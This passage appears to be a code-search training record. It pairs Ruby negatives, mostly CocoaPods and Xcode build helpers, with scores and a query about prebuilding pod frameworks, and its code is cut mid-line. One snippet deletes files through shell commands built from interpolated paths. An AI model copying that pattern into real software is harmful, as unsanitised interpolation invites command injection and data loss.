UI.section(integration_message) do\n XCConfigIntegrator.integrate(target, native_targets)\n\n remove_obsolete_script_phases\n add_pods_library\n add_embed_frameworks_script_phase\n remove_embed_frameworks_script_phase_from_embedded_targets\n add_copy_resources_script_phase\n add_check_manifest_lock_script_phase\n add_user_script_phases\n add_on_demand_resources\n end\n end", "def release_pods\n pod 'BasicCommons', :git => 'git@github.com:kevinOlivet/BasicCommons.git', :branch => 'master'\n pod 'BasicUIElements', :git => 'git@github.com:kevinOlivet/BasicUIElements.git', :branch => 'master'\n pod 'CuotasModule', :git => 'git@github.com:kevinOlivet/CuotasModule.git', :branch => 'master'\nend", "def remove_nim_resources\n Log.log_info('In remove_nim_resources')\n @targets.each do |target|\n Log.log_debug('target=' + target)\n nim_lpp_source_resource = get_flrtvc_name(:NIM_res, target)\n exists = Nim.lpp_source_exists?(nim_lpp_source_resource)\n Log.log_debug('exists=' +\n exists.to_s)\n if exists\n Nim.remove_lpp_source(nim_lpp_source_resource)\n Log.log_debug('Removing NIM resource ' +\n nim_lpp_source_resource)\n else\n Log.log_debug('Already removed NIM resource ' +\n nim_lpp_source_resource)\n end\n end\n end", "def validate_dynamic_framework_support(aggregate_targets, deployment_target)\n return unless consumer.platform_name == :ios\n return unless deployment_target.nil? || Version.new(deployment_target).major < 8\n aggregate_targets.each do |target|\n if target.pod_targets.any?(&:uses_swift?)\n uses_xctest = target.spec_consumers.any? { |c| (c.frameworks + c.weak_frameworks).include? 'XCTest' }\n error('swift', 'Swift support uses dynamic frameworks and is therefore only supported on iOS > 8.') unless uses_xctest\n end\n end\n end", "def install_when_cache_hit!\n # just print log\n sandbox.exsited_framework_target_names.each do |name|\n UI.puts \"Using #{name}\"\n end\n end", "def after_destroy\n bundle_dir = File.join( self.userfolder, self.bundle_src_folder )\n logger.info(\"==================> Remove all bundle files for: \" + bundle_dir )\n %x[rm -f -R #{bundle_dir}]\n \n # delete bundle image file name\n %x[rm #{fq_bundle_image_filename('*')}]\n \n #delete sample audio prompt\n %x[rm #{fq_bundle_sample_prompt}]\n end", "def add_system_framework(framework)\n puts \"Adding framework to xcode project: #{framework}.\"\n @target.add_system_framework(framework);\n puts 'Finished adding framework.'\nend", "def build_jar\n `rm framework/local.properties` if File.exists? 'framework/local.properties'\n `rm framework/phonegap.jar` if File.exists? 'framework/phonegap.jar'\n `rm framework/phonegap.js` if File.exists? 'framework/phonegap.js'\n `ECHO 'sdk-location=#{ @android_sdk_path }' > framework/local.properties`\n `cd framework; ant jar`\n end", "def skip_libraries_installation\n self.options = options.merge(\n skip_bundle: true,\n skip_webpack_install: true\n )\nend", "def archive_build_if_necessary(target_directory)\n # Nothing here in superclass\n end", "def hide app\n app.perform :hide\n end", "def unhide app\n app.perform :unhide\n end", "def exclude_pe_upgrade_platforms\n # We cannot just do confine :except, platform: <pe_upgrade_platforms>\n # because that may accidentally filter out the master.\n confine :to, {} do |host|\n next true if host['roles'].include?('master')\n\n !['aix', 'amazon', 'solaris'].include?(host['platform'])\n end\n end", "def unload!\n Origen.app.unload_target!\n end", "def kill_precompiled_assets!\n dir = File.join(Rails.root, 'public', 'assets')\n FileUtils.rm_rf(dir) if Dir.exist?(dir)\nend", "def default_bundles_for_build\n bundles.reject { |x| !x.autobuild? }\n end", "def additional_dylibs dylibs, other_lib\n dylibs_to_change(other_lib).delete_if do |d|\n basenames = dylibs.map { |lib| File.basename(lib) }\n basenames.include? File.basename(d)\n end\n end", "def should_remove_librun_and_stc_sources\n !(core_developer? or ENV['RETAIN_STX_AND_LIBRUN_SOURCE'] == 'yespleaseretain!')\nend", "def flipper_post_install(installer)\n installer.pods_project.targets.each do |target|\n if target.name == 'YogaKit'\n target.build_configurations.each do |config|\n config.build_settings['SWIFT_VERSION'] = '4.1'\n end\n end\n end\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << '-DFB_SONARKIT_ENABLED=1'\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def set_carthage_framework_search_paths_for_target(target, platform)\n target.build_configuration_list.set_setting(\n 'FRAMEWORK_SEARCH_PATHS', \"$(SRCROOT)/Carthage/Build/#{platform}\"\n )\nend", "def link_project\n install_resources\n copy_headers\n\n @config.vendor_project(PODS_ROOT, :xcode,\n :target => 'Pods',\n :headers_dir => 'Headers',\n :products => %w{ libPods.a }\n )\n\n if ldflags = pods_xcconfig.to_hash['OTHER_LDFLAGS']\n lib_search_paths = pods_xcconfig.to_hash['LIBRARY_SEARCH_PATHS'] || \"\"\n lib_search_paths.gsub!('$(PODS_ROOT)', \"-L#{@config.project_dir}/#{PODS_ROOT}\")\n\n framework_search_paths = pods_xcconfig.to_hash['FRAMEWORK_SEARCH_PATHS']\n if framework_search_paths\n framework_search_paths.scan(/\\\"([^\\\"]+)\\\"/) do |search_path|\n path = search_path.first.gsub!(/(\\$\\(PODS_ROOT\\))|(\\$\\{PODS_ROOT\\})/, \"#{@config.project_dir}/#{PODS_ROOT}\")\n @config.framework_search_paths << path if path\n end\n end\n\n @config.frameworks.concat(ldflags.scan(/-framework\\s+([^\\s]+)/).map { |m| m[0] })\n @config.frameworks.uniq!\n @config.libs.concat(ldflags.scan(/-l([^\\s]+)/).map { |m|\n if lib_search_paths.length == 0 || File.exist?(\"/usr/lib/lib#{m[0]}.dylib\")\n \"/usr/lib/lib#{m[0]}.dylib\"\n else\n \"#{lib_search_paths} -all_load -l#{m[0]}\"\n end\n })\n @config.weak_frameworks.concat(ldflags.scan(/-weak_framework\\s+([^\\s]+)/).map { |m| m[0] })\n @config.weak_frameworks.uniq!\n @config.libs.uniq!\n end\n end", "def frameworks_invalid?(frameworks)\n frameworks.any? do |framework|\n framework_regex = /[^\\w\\-\\+]/\n framework =~ framework_regex\n end\n end", "def extract_test_frameworks\n @installed_frameworks = []\n @installed_frameworks << \"test_unit\" if Dir[File.join(destination_root, \"test\")].length > 0\n @installed_frameworks << \"rspec\" if Dir[File.join(destination_root, \"spec\")].length > 0\n \n if @installed_frameworks.length == 0\n # no test-related files created\n puts <<-EOS\nWARNING: you do not have a test-framework installed.\nRun either:\n script/generate install_test_unit\n script/generate install_rspec\n\nand then rerun this generator.\n EOS\n end\n end", "def add_swift_fallback_version(installer_context, version)\n installer_context.pod_targets.select(&:uses_swift?).each do |target|\n target.root_spec.swift_versions << swift_fallback_version if target.root_spec.swift_versions.empty?\n\n # fix crash in target_validator.rb:119 (undefined method `empty?' for nil:NilClass)\n target.instance_variable_set(:@swift_version, swift_fallback_version) unless target.swift_version\n end\nend", "def set_swift_files_as_public(installer)\n Pod::UI.puts \"Fixing interface builder integration\"\n\n installer.pods_project.targets.each do |target|\n next unless target.respond_to?(:product_type)\n next unless target.product_type == 'com.apple.product-type.framework'\n\n target.source_build_phase.files_references.each do |file|\n next unless File.extname(file.path) == '.swift'\n\n buildFile = target.headers_build_phase.add_file_reference(file)\n buildFile.settings = { 'ATTRIBUTES' => ['Public']}\n end\n end\n\n installer.pods_project.save\nend", "def remove_structure\n rm_rf target_dir\n end", "def test_build_no_install\n result = Sprout::Builder.build(@manual_spec, @fixture)\n assert_equal('swfmill', result.executable)\n end", "def skip_xcodebuild?\n ENV['SKIP_XCODEBUILD']\nend", "def add_copy_dsyms_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_dsyms_script_path.relative_path_from(target.sandbox.root)}\"\n dsym_paths = PodTargetInstaller.dsym_paths(target)\n bcsymbolmap_paths = PodTargetInstaller.bcsymbolmap_paths(target)\n\n if dsym_paths.empty? && bcsymbolmap_paths.empty?\n script_phase = native_target.shell_script_build_phases.find do |bp|\n bp.name && bp.name.end_with?(UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME)\n end\n native_target.build_phases.delete(script_phase) if script_phase.present?\n return\n end\n\n phase_name = UserProjectIntegrator::TargetIntegrator::BUILD_PHASE_PREFIX + UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME\n phase = UserProjectIntegrator::TargetIntegrator.create_or_update_shell_script_build_phase(native_target, phase_name)\n phase.shell_script = %(\"#{script_path}\"\\n)\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths?\n input_file_list_path = target.copy_dsyms_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = []\n input_paths.concat([dsym_paths, *bcsymbolmap_paths].flatten.compact)\n\n output_file_list_path = target.copy_dsyms_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths = output_paths_by_config[output_paths_key] = []\n\n dsym_output_paths = dsym_paths.map { |dsym_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(dsym_path)}\" }\n bcsymbolmap_output_paths = bcsymbolmap_paths.map { |bcsymbolmap_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(bcsymbolmap_path)}\" }\n output_paths.concat([dsym_output_paths, *bcsymbolmap_output_paths].flatten.compact)\n end\n\n UserProjectIntegrator::TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def enable_bitcode_for_prebuilt_frameworks!\n DSL.bitcode_enabled = true\n end", "def remove_has_target_statements\n remove_predicate_and_its_object_statements RDF::Vocab::OA.hasTarget\n end", "def integrate!\n return if native_targets.empty?\n UI.section(integration_message) do\n add_xcconfig_base_configuration\n add_pods_library\n add_copy_resources_script_phase\n add_check_manifest_lock_script_phase\n user_project.save\n end\n end", "def add_custom_framework(framework_path)\n puts \"Adding framework to xcode project: #{framework_path}.\"\n framework_name = File.basename(framework_path);\n local_framework_path = \"Frameworks/#{framework_name}\"\n # Add the lib file as a reference\n libRef = @project['Frameworks'].new_file(framework_path)\n # Add it to the build phase\n @target.frameworks_build_phase.add_file_reference(libRef)\n puts 'Finished adding framework.'\nend" ]
[ "0.74486816", "0.74412745", "0.7373841", "0.676171", "0.6487609", "0.6229096", "0.6203047", "0.6107716", "0.6092439", "0.59680283", "0.592779", "0.58669883", "0.5771275", "0.57394516", "0.57358813", "0.57039696", "0.5666438", "0.55424386", "0.5411368", "0.5410671", "0.5361785", "0.5339923", "0.5337263", "0.5320366", "0.5295274", "0.52438104", "0.5230848", "0.52026534", "0.5202149", "0.5192626", "0.5192029", "0.5174931", "0.5150283", "0.5119031", "0.50947845", "0.50871825", "0.50849825", "0.50546587", "0.5040377", "0.50364274", "0.50241506", "0.49811974", "0.4980509", "0.49757138", "0.4962776", "0.49481264", "0.4946699", "0.49116567", "0.49116567", "0.49017286", "0.4899866", "0.48925552", "0.48829326", "0.48800576", "0.48693392", "0.48689774", "0.48663363", "0.4866083", "0.48560938", "0.4837837", "0.48317128", "0.48236215", "0.48188743", "0.48188743", "0.48168483", "0.48168483", "0.4808825", "0.48068336", "0.4804287", "0.48032892", "0.4787105", "0.47789434", "0.47789243", "0.47739184", "0.47528315", "0.47459808", "0.47409368", "0.4739662", "0.47360492", "0.47246245", "0.47019133", "0.46999776", "0.46997452", "0.46655655", "0.46611437", "0.46456072", "0.46253896", "0.46241847", "0.46019265", "0.45966393", "0.45960155", "0.45938635", "0.4588049", "0.45787114", "0.45750168", "0.4570279", "0.45688245", "0.45603177", "0.45599985", "0.45563874" ]
0.81939775
0
Find or create a 'Embed Pods Frameworks' Copy Files Build Phase
def add_embed_frameworks_script_phase unless target.includes_frameworks? || (target.xcframeworks_by_config.values.flatten.any? { |xcf| xcf.build_type.dynamic_framework? }) native_targets_to_embed_in.each do |native_target| TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target) end return end script_path = target.embed_frameworks_script_relative_path input_paths_by_config = {} output_paths_by_config = {} if use_input_output_paths? configs = Set.new(target.framework_paths_by_config.keys + target.xcframeworks_by_config.keys).sort configs.each do |config| framework_paths = target.framework_paths_by_config[config] || [] xcframeworks = target.xcframeworks_by_config[config] || [] input_paths_key = XCFileListConfigKey.new(target.embed_frameworks_script_input_files_path(config), target.embed_frameworks_script_input_files_relative_path) input_paths_by_config[input_paths_key] = [script_path] + TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframeworks) output_paths_key = XCFileListConfigKey.new(target.embed_frameworks_script_output_files_path(config), target.embed_frameworks_script_output_files_relative_path) output_paths_by_config[output_paths_key] = TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframeworks) end end native_targets_to_embed_in.each do |native_target| TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(native_target, script_path, input_paths_by_config, output_paths_by_config) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_embed_frameworks_phase(project, t)\n \n t.build_phases.delete_if { |phase| \n phase.to_s == 'Embed Frameworks'\n }\n\n embed_frameworks_build_phase = project.new(\n Xcodeproj::Project::Object::PBXCopyFilesBuildPhase\n )\n\n embed_frameworks_build_phase.name = 'Embed Frameworks'\n embed_frameworks_build_phase.symbol_dst_subfolder_spec = :frameworks\n t.build_phases << embed_frameworks_build_phase\n return embed_frameworks_build_phase\nend", "def prebuild_frameworks! \n\n # build options\n sandbox_path = sandbox.root\n existed_framework_folder = sandbox.generate_framework_path\n bitcode_enabled = Pod::Podfile::DSL.bitcode_enabled\n targets = []\n \n if local_manifest != nil\n\n changes = prebuild_pods_changes\n added = changes.added\n changed = changes.changed \n unchanged = changes.unchanged\n deleted = changes.deleted \n \n existed_framework_folder.mkdir unless existed_framework_folder.exist?\n exsited_framework_pod_names = sandbox.exsited_framework_pod_names\n \n # additions\n missing = unchanged.select do |pod_name|\n not exsited_framework_pod_names.include?(pod_name)\n end\n\n\n root_names_to_update = (added + changed + missing)\n\n # transform names to targets\n cache = []\n targets = root_names_to_update.map do |pod_name|\n tars = Pod.fast_get_targets_for_pod_name(pod_name, self.pod_targets, cache)\n if tars.nil? || tars.empty?\n raise \"There's no target named (#{pod_name}) in Pod.xcodeproj.\\n #{self.pod_targets.map(&:name)}\" if t.nil?\n end\n tars\n end.flatten\n\n # add the dendencies\n dependency_targets = targets.map {|t| t.recursive_dependent_targets }.flatten.uniq || []\n targets = (targets + dependency_targets).uniq\n else\n targets = self.pod_targets\n end\n \n # frameworks which mark binary true, should be filtered before prebuild\n prebuild_framework_pod_names = []\n podfile.target_definition_list.each do |target_definition|\n next if target_definition.prebuild_framework_pod_names.empty?\n prebuild_framework_pod_names += target_definition.prebuild_framework_pod_names\n end\n \n \n\n \n # filter local pods\n targets = targets.reject {|pod_target| sandbox.local?(pod_target.pod_name) } if not Podfile::DSL.allow_local_pod\n\n # filter dependency\n # targets = targets.select {|pod_target| prebuild_framework_pod_names.include?(pod_target.pod_name) }\n \n # build!\n Pod::UI.puts \"🚀 Prebuild files (total #{targets.count})\"\n Pod::Prebuild.remove_build_dir(sandbox_path)\n \n targets = targets.reject { |pod_target| Pod::Podfile::DSL.binary_white_list.include?(pod_target.pod_name) }\n \n # 是否值缓存 .a 文件\n only_store_lib_file = Podfile::DSL.only_store_lib_file\n \n # 是否开启md5 命名\n md5_file_name = Podfile::DSL.md5_file_name\n md5_file_name_list = []\n \n \n subspec_name_enable = true\n \n # building check ...\n targets.each do |target|\n \n target_name = target.name\n # root_name = \"#{target_name}/\"\n spec = target.root_spec\n\n# Pod::UI.puts \"🚀 000 #{target.specs.to_json} \"\n\n specs_name = get_subspec_name(target)\n# Pod::UI.puts \"🚀 666 #{specs_name} \"\n\n \n # 如果过长 采用md5 + 文件记录\n if md5_file_name\n item = get_subspec_name_md5(target_name, specs_name, spec.version)\n specs_name = item[\"specs_name\"]\n# Pod::UI.puts \"🚀 333 #{specs_name} \"\n md5_file_name_list.push(item)\n end\n \n# specs_name = spec.name\n# Pod::UI.puts \"🚀 666 #{target.to_json} \"\n \n UI.section \"🍭 Prebuild Ready to build #{target_name} [#{target.label}]\".blue do\n if !target.should_build?\n Pod::UI.puts \"🏇 Skipping #{target.label}\"\n next\n end\n\n output_path = sandbox.framework_folder_path_for_target_name(target_name)\n output_path.mkpath unless output_path.exist?\n \n need_pull = Podfile::DSL.binary_cache\n need_push = false\n need_build = false\n\n generate_path = sandbox.generate_framework_path.to_s\n rsync_server_url = Podfile::DSL.rsync_server_url\n \n loop do\n if not need_pull\n need_build = true\n break\n end\n \n if sandbox.local?target_name and not Podfile::DSL.local_binary_cache\n need_build = true\n break\n end\n \n exist_remote_framework = Pod::PrebuildFetch.fetch_remote_framework_for_target(spec.name, specs_name, spec.version, generate_path, rsync_server_url)\n if not exist_remote_framework\n Pod::UI.puts \"💦 Non exist remote cache, #{target_name}\".blue\n \n need_build = true\n need_push = true\n break\n end\n \n Pod::UI.puts \"🎁 Exist remote cache, #{target_name}\".green\n\n break\n end\n\n if need_build\n Pod::Prebuild.build(sandbox_path, target, output_path, bitcode_enabled, Podfile::DSL.custom_build_options, Podfile::DSL.custom_build_options_simulator)\n end\n \n if need_push\n Podfile::DSL.builded_list.push(target_name)\n\n \n if only_store_lib_file\n Pod::PrebuildFetch.sync_prebuild_framework_to_server(spec.name, specs_name, spec.version, generate_path, rsync_server_url)\n else\n store_pack = {}\n store_pack[\"spec_name\"] = spec.name\n store_pack[\"specs_name\"] = specs_name\n store_pack[\"spec_version\"] = \"#{spec.version}\"\n store_pack[\"generate_path\"] = generate_path\n store_pack[\"server_url\"] = rsync_server_url\n\n Podfile::DSL.builded_store_list.push(store_pack)\n end\n end\n \n \n \n # public private headers\n if Podfile::DSL.allow_public_headers and target.build_as_framework?\n headers = []\n target.file_accessors.each do |fa|\n headers += fa.headers || []\n end\n\n config_umbrella_header(output_path, target_name, headers)\n end\n\n \n # ...\n #target.static_framework\n #target.build_as_dynamic_library\n #target.build_as_static_framework\n \n # save the resource paths for later installing\n if !target.resource_paths.empty? #and target.build_as_dynamic?\n framework_path = output_path\n framework_path = framework_path + target.framework_name if target.build_as_framework?\n \n standard_sandbox_path = sandbox.standard_sanbox_path\n\n resources = begin\n if Pod::VERSION.start_with? \"1.5\"\n target.resource_paths\n else\n # resource_paths is Hash{String=>Array<String>} on 1.6 and above\n # (use AFNetworking to generate a demo data)\n # https://github.com/leavez/cocoapods-binary/issues/50\n target.resource_paths.values.flatten\n end\n end\n raise \"Wrong type: #{resources}\" unless resources.kind_of? Array\n\n path_objects = resources.map do |path|\n object = Prebuild::Passer::ResourcePath.new\n #object.real_file_path = framework_path + File.basename(path)\n object.real_file_path = path.gsub('${PODS_ROOT}', sandbox.generate_framework_path.to_s) if path.start_with? '${PODS_ROOT}'\n \n object.target_file_path = path.gsub('${PODS_ROOT}', standard_sandbox_path.to_s) if path.start_with? '${PODS_ROOT}'\n object.target_file_path = path.gsub(\"${PODS_CONFIGURATION_BUILD_DIR}\", standard_sandbox_path.to_s) if path.start_with? \"${PODS_CONFIGURATION_BUILD_DIR}\"\n \n object\n end\n # mark Generated files to Pods/xx\n Prebuild::Passer.resources_to_copy_for_static_framework[target_name] = path_objects\n \n # Logger(1000, \"path_objects\", path_objects)\n # Logger(1001, \"target.name\", target.name)\n\n end\n \n end\n\n end\n \n if md5_file_name\n pods_path = self.sandbox.root\n md5_file_name_path = pods_path + \"md5_file_name.txt\"\n File.write(md5_file_name_path.to_s, md5_file_name_list.to_json)\n end\n \n \n # remove build path\n Pod::Prebuild.remove_build_dir(sandbox_path) if Podfile::DSL.clean_build_dir\n \n def copy_vendered_files(lib_paths, root_path, target_folder)\n lib_paths.each do |lib_path|\n relative = lib_path.relative_path_from(root_path)\n destination = target_folder + relative\n destination.dirname.mkpath unless destination.dirname.exist?\n FileUtils.cp_r(lib_path, destination, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n end\n end\n \n def copy_vendered_headers(lib_paths, root_path)\n lib_paths.each do |lib_path|\n FileUtils.cp_r(lib_path, root_path, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n end\n end\n \n \n # copy vendored libraries and frameworks\n targets.each do |target|\n root_path = self.sandbox.pod_dir(target.name)\n target_folder = sandbox.framework_folder_path_for_target_name(target.name)\n \n # If target shouldn't build, we copy all the original files\n # This is for target with only .a and .h files\n if not target.should_build? \n Prebuild::Passer.target_names_to_skip_integration_framework << target.name\n\n FileUtils.cp_r(root_path, target_folder, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n next\n end\n \n# Logger(10032, \"dependencies\", target.dependencies)\n \n # continue ....\n next unless File.exist?(root_path)\n \n # copy to Generated\n target.spec_consumers.each do |consumer|\n file_accessor = Sandbox::FileAccessor.new(root_path, consumer)\n \n lib_paths = []\n\n #add frameworks\n lib_paths += file_accessor.vendored_frameworks || []\n \n if Pod::VERSION.start_with? \"1.9\"\n lib_paths += file_accessor.vendored_xcframeworks || [] # cocoapods version 1.9.0+\n end\n \n #add libraries\n lib_paths += file_accessor.vendored_libraries || []\n \n #add headers\n lib_paths += file_accessor.headers || []\n \n lib_paths += file_accessor.docs || []\n\n #add resources\n lib_paths += file_accessor.resources || []\n \n lib_paths += file_accessor.resource_bundles.values if not file_accessor.resource_bundles.nil?\n lib_paths += file_accessor.resource_bundle_files || []\n\n #add license\n lib_paths += [file_accessor.license] if not file_accessor.license.nil?\n lib_paths += [file_accessor.spec_license] if not file_accessor.spec_license.nil?\n\n #add readme\n lib_paths += [file_accessor.readme] if not file_accessor.readme.nil?\n \n\n #developer_files ⇒ Array<Pathname> Paths to include for local pods to assist in development.\n\n copy_vendered_files(lib_paths, root_path, target_folder)\n\n # framework not same\n if Podfile::DSL.allow_public_headers and target.build_as_framework?\n headers = file_accessor.headers || []\n copy_vendered_headers(headers, \"#{target_folder}/#{target.framework_name}/Headers\")\n end\n end\n end\n\n # save the pod_name for prebuild framwork in sandbox \n targets.each do |target|\n sandbox.save_pod_name_for_target target\n end\n \n \n # Remove useless files\n # remove useless pods\n all_needed_names = self.pod_targets.map(&:name).uniq\n useless_target_names = sandbox.exsited_framework_target_names.reject do |name| \n all_needed_names.include? name\n end\n \n \n useless_target_names.each do |name|\n path = sandbox.framework_folder_path_for_target_name(name)\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n \n if not Podfile::DSL.dont_remove_source_code\n # only keep manifest.lock and framework folder in _Prebuild\n to_remain_files = [\"Manifest.lock\", File.basename(existed_framework_folder)]\n to_delete_files = sandbox_path.children.select do |file|\n filename = File.basename(file)\n not to_remain_files.include?(filename)\n end\n to_delete_files.each do |path|\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n else \n # just remove the tmp files\n path = sandbox.root + 'Manifest.lock.tmp'\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n \n \n Pod::UI.puts \"🚀 Push Store Info: #{Podfile::DSL.builded_store_list}\"\n\n Podfile::DSL.builded_store_list.each do |store_pack|\n spec_name = store_pack[\"spec_name\"]\n specs_name = store_pack[\"specs_name\"]\n spec_version = store_pack[\"spec_version\"]\n generate_path = store_pack[\"generate_path\"]\n server_url = store_pack[\"server_url\"]\n \n Pod::PrebuildFetch.sync_prebuild_framework_to_server(spec_name, specs_name, spec_version, generate_path, server_url)\n end\n \n Podfile::DSL.builded_store_list = []\n end", "def add_copy_xcframeworks_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_xcframeworks_script_path.relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n xcframeworks = target.xcframeworks.values.flatten\n\n if use_input_output_paths? && !xcframeworks.empty?\n input_file_list_path = target.copy_xcframeworks_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = [script_path]\n\n framework_paths = xcframeworks.map { |xcf| \"${PODS_ROOT}/#{xcf.path.relative_path_from(target.sandbox.root)}\" }\n input_paths.concat framework_paths\n\n output_file_list_path = target.copy_xcframeworks_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = xcframeworks.map do |xcf|\n \"#{Target::BuildSettings::XCFRAMEWORKS_BUILD_DIR_VARIABLE}/#{xcf.target_name}/#{xcf.name}.framework\"\n end\n end\n\n if xcframeworks.empty?\n UserProjectIntegrator::TargetIntegrator.remove_copy_xcframeworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_copy_xcframeworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def add_embed_frameworks_script_phase(native_target, spec)\n script_path = \"${PODS_ROOT}/#{target.embed_frameworks_script_path_for_spec(spec).relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n dependent_targets = if spec.test_specification?\n target.dependent_targets_for_test_spec(spec)\n else\n target.dependent_targets_for_app_spec(spec)\n end\n host_target_spec_names = target.app_host_dependent_targets_for_spec(spec).flat_map do |pt|\n pt.specs.map(&:name)\n end.uniq\n framework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.framework_paths.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n xcframework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.xcframeworks.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n\n if use_input_output_paths? && !framework_paths.empty? || !xcframework_paths.empty?\n input_file_list_path = target.embed_frameworks_script_input_files_path_for_spec(spec)\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + UserProjectIntegrator::TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframework_paths)\n\n output_file_list_path = target.embed_frameworks_script_output_files_path_for_spec(spec)\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = UserProjectIntegrator::TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframework_paths)\n end\n\n if framework_paths.empty? && xcframework_paths.empty?\n UserProjectIntegrator::TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def prebuild_frameworks!\n UI.puts \"Start prebuild_frameworks\"\n\n # build options\n sandbox_path = sandbox.root\n existed_framework_folder = sandbox.generate_framework_path\n bitcode_enabled = Pod::Podfile::DSL.bitcode_enabled\n targets = []\n\n if Pod::Podfile::DSL.prebuild_all_vendor_pods\n UI.puts \"Rebuild all vendor frameworks\"\n targets = pod_targets\n elsif !local_manifest.nil?\n UI.puts \"Update some frameworks\"\n changes = prebuild_pods_changes\n added = changes.added\n changed = changes.changed\n unchanged = changes.unchanged\n\n existed_framework_folder.mkdir unless existed_framework_folder.exist?\n exsited_framework_pod_names = sandbox.exsited_framework_pod_names\n\n # additions\n missing = unchanged.reject { |pod_name| exsited_framework_pod_names.include?(pod_name) }\n\n root_names_to_update = (added + changed + missing)\n if Pod::Podfile::DSL.enable_prebuild_dev_pod && Pod::Podfile::DSL.is_prebuild_job\n root_names_to_update += Pod::Prebuild::CacheInfo.cache_miss_dev_pods_dic.keys\n end\n\n # transform names to targets\n cache = []\n targets = root_names_to_update.map do |pod_name|\n tars = Pod.fast_get_targets_for_pod_name(pod_name, pod_targets, cache)\n if tars.nil? || tars.empty?\n raise \"There's no target named (#{pod_name}) in Pod.xcodeproj.\\n #{pod_targets.map(&:name)}\" if t.nil?\n end\n tars\n end.flatten\n\n # add the dendencies\n dependency_targets = targets.map(&:recursive_dependent_targets).flatten.uniq || []\n targets = (targets + dependency_targets).uniq\n else\n UI.puts \"Rebuild all frameworks\"\n targets = pod_targets\n end\n\n targets = targets.reject { |pod_target| should_not_prebuild_vendor_pod(pod_target.name) }\n unless Podfile::DSL.enable_prebuild_dev_pod\n targets = targets.reject { |pod_target| sandbox.local?(pod_target.pod_name) }\n end\n\n # build!\n Pod::UI.puts \"Prebuild frameworks (total #{targets.count})\"\n Pod::UI.puts 